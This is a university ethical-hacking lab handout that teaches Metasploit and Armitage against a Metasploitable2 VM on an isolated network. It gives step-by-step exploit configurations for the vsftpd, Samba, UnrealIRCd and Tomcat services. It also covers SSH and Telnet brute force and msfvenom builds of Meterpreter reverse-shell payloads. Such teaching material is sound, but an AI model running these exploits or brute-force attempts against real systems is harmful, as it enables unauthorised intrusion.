

NES555 — Lab 5

Title: Metasploit Framework Fundamentals & Armitage

Course: NES555 — Ethical Hacking Lab

Estimated duration: 2 hours

Lab network: Isolated lab network only — run all attacks on the provided VMs.

Purpose / Summary

This lab teaches Metasploit and Armitage fundamentals using stable, repeatable service exploits discovered from Nmap results against a Metasploitable2 target. It avoids brittle web-exploit encodability problems by focusing on reliable, demonstrable services (vsftpd, Samba, UnrealIRCd, Tomcat, SSH/Telnet credential testing). Students will: discover services, select modules, configure payloads/handlers, and capture sessions using both `msfconsole` and Armitage.

Learning objectives

By the end of this lab you will be able to:

1. Initialize and use Metasploit (`msfconsole`) and its database.
 2. Discover services with `nmap` and select appropriate Metasploit modules.
 3. Configure, run, and validate exploits (including handlers and `msfvenom` where appropriate).
 4. Use Armitage to connect to Metasploit RPC, run scans, and manage sessions.
 5. Troubleshoot common Metasploit/Armitage problems and clean up after tests.
-

Lab environment (use these IPs exactly)

Only test on these VMs in the lab environment.

- **Kali (attacker)** — 192.168.56.104 — user: `kali` (or root if instructed)
 - **Metasploitable2 (target)** — 192.168.56.106 — default user root (lab target)
-

Tools used

- nmap, nc, curl — discovery/test
 - msfconsole, msfvenom, msfrpcd — Metasploit
 - Armitage — GUI front-end
 - feroxbuster or dirb — (optional) web discovery
 - tcpdump / ss / netstat — network troubleshooting
-

Pre-lab checklist (do these first)

1. Confirm lab network isolation (no outward routing).
 2. Check attacker IP:
 3. `ip a` # confirm 192.168.56.104 present
 4. Update Kali package metadata (optional):
 5. `sudo apt update`
-

Task 0 — Safety & rules

- Only test on the lab VMs (listed above).
 - Do not run attacks against any external IP.
 - Document every action and capture screenshots.
 - Clean up any uploaded payloads/files after the exercise.
-

Task 1 — Discovery: Nmap scanning (15–20 min)

Goal: Identify services/versions to choose exploits.

1. Run an aggressive scan (from Kali):
2. `sudo nmap -sC -sV -p- -T4 192.168.56.106 -oN nmap_initial.txt`
3. Open the file and note open ports and service versions. Example outputs you should look for:
 - 21/tcp vsftpd 2.3.4
 - 139/tcp, 445/tcp Samba 3.0.20
 - 6667/tcp UnrealIRCd 3.2.8.1
 - 8180/tcp Apache Tomcat
 - 22/tcp OpenSSH and 23/tcp telnet
4. (Optional) Use targeted service-version scan for confirmation:

5. `sudo nmap -sV -p21,139,445,6667,8180,22,23 192.168.56.106 -oN nmap_services.txt`

Deliverable: Screenshot or copy of `nmap_initial.txt` output showing vulnerable services.

Task 2 — Prepare Metasploit environment (10–15 min)

1. Initialize Metasploit DB and start services:
 2. `sudo msfdb init`
 3. `# confirm status`
 4. `msfconsole -q -x "db_status; exit"`
 5. Start `msfconsole` (run as the same user who will use Armitage or root if lab requires):
 6. `sudo msfconsole` `# if you prefer root, otherwise msfconsole`
-

Task 3 — Exploitation exercises (60–75 min total)

Work through these exploits in order. For each: show `show options`, set required variables, configure handlers if necessary, run the exploit, and capture proof (`whoami` or `sysinfo`).

Important: If an exploit fails, capture console output and try the next one. Use `check` where supported.

3.1 Exploit 1 — VSFTPD 2.3.4 backdoor (bind shell)

When to use: `nmap` shows `vsftpd 2.3.4`.

1. Inside `msfconsole`:

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.106
set RPORT 21
show options
run
```

2. The module attempts to trigger the backdoor by using username `: ) )`. It spawns a bind shell by default on port 6200 (module prints the port).
3. If session created, in `msfconsole`:

```
sessions -l
sessions -i <id>
whoami
uname -a
```

Expected: a shell or session; `whoami` returns user (often `root` or service user).

Notes/Troubleshoot: If port blocked, try different timing or target checks; capture output.

3.2 Exploit 2 — Samba `usermap_script` (RCE)

When to use: `nmap` shows Samba 3.0.20 (vulnerable).

1. In `msfconsole`:

```
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.106
set RPORT 139
show options
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.56.104
set LPORT 4444
exploit
```

2. If exploit completes, interact with session:

```
sessions -i <id>
whoami; id; uname -a
```

Expected: remote code execution, usually shell.

3.3 Exploit 3 — UnrealIRCd 3.2.8.1 backdoor

When to use: `nmap` shows 6667/tcp UnrealIRCd 3.2.8.1.

Use module: `use exploit/unix/irc/unreal_ircd_3281_backdoor`

```
set RHOSTS 192.168.56.106
set RPORT 6667
set PAYLOAD cmd/unix/reverse_perl # or php/reverse_php if applicable
set LHOST 192.168.56.104
set LPORT 4444
exploit
```

Expected: retrieval of a shell or execution confirmation.

3.4 Exploit 4 — Tomcat manager: credential scan + WAR upload (if Tomcat present)

When to use: nmap shows Tomcat (8180 or 8080) and manager application reachable.

1. Scanner for default credentials:

```
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.56.106
set RPORT 8180      # adjust if 8080
run
```

2. If credentials found, deploy WAR using msf module:

```
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.56.106
set RPORT 8180
set HttpUsername <found_user>
set HttpPassword <found_pass>
set LHOST 192.168.56.104
set LPORT 4444
set PAYLOAD java/meterpreter/reverse_tcp
exploit
```

3. If session opens:

```
sessions -i <id>
sysinfo
```

Notes: If manager login fails, document scanner output and skip to next exploit.

3.5 Exploit 5 — Credential brute force (SSH / Telnet)

When to use: weak credentials suspected (SSH 4.x or telnet open).

1. SSH brute force (use responsibly — small wordlists for lab):

```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.56.106
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt    # use short list for lab
run
```

2. Telnet brute force:

```
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.56.106
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
```

Notes: Keep wordlists short to save time (lab-only).

Task 4 — msfvenom & manual payloads (15–20 min)

Why: Some paths (Tomcat WAR upload, file upload) require you to build payloads with msfvenom.

1. Create a compact PHP Meterpreter (if doing web upload or LFI):

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.104 LPORT=4444 -e
php/minify -f raw -o /tmp/php_meter_min.php
```

```
wc -c /tmp/php_meter_min.php
```

```
head -n 5 /tmp/php_meter_min.php
```

2. For Tomcat WAR upload (Java payload):

```
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4444 -
f war -o /tmp/shell.war
```

3. Start listening inside msf:

```
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
run
```

4. Upload using app manager, then trigger.

Task 5 — Armitage: connect, scan, and manage sessions (15–20 min)

Goal: Show GUI-driven workflow.

1. Ensure msfrpcd or msfdb is running. If Armitage cannot auto-start RPC, run:

```
sudo msfrpcd -U msf -P labpass -a 127.0.0.1 -S -f
```

2. Start Armitage:
3. `sudo armitage`
4. In Armitage connect dialog:
 - Host: 127.0.0.1
 - Port: 55553 (default)
 - User: msf
 - Password: labpass (or what you used)
5. Once connected:
 - Hosts → Nmap Scan → perform a scan of 192.168.56.106.
 - Attacks → Find Attacks → view suggested modules.
 - Launch exploits via GUI for any that succeeded in msfconsole (or use GUI to run new ones).
 - Observe sessions in Session's pane; interact and run `whoami`.

Notes: For full control, use `msfconsole` for exploit configuration and use Armitage for visualization/management.

Clean up (do after you finish)

1. Remove uploaded shells / WARs from the target (if you have access to the target VM) and note steps in your report.
 - Example (on target VM):
 - `sudo rm /var/www/html/uploads/shell.php`
 2. Stop msfrpcd if started in foreground (Ctrl+C) or kill the process:
 3. `sudo pkill msfrpcd`
 4. Stop listeners on Kali (Ctrl+C or close terminals).
-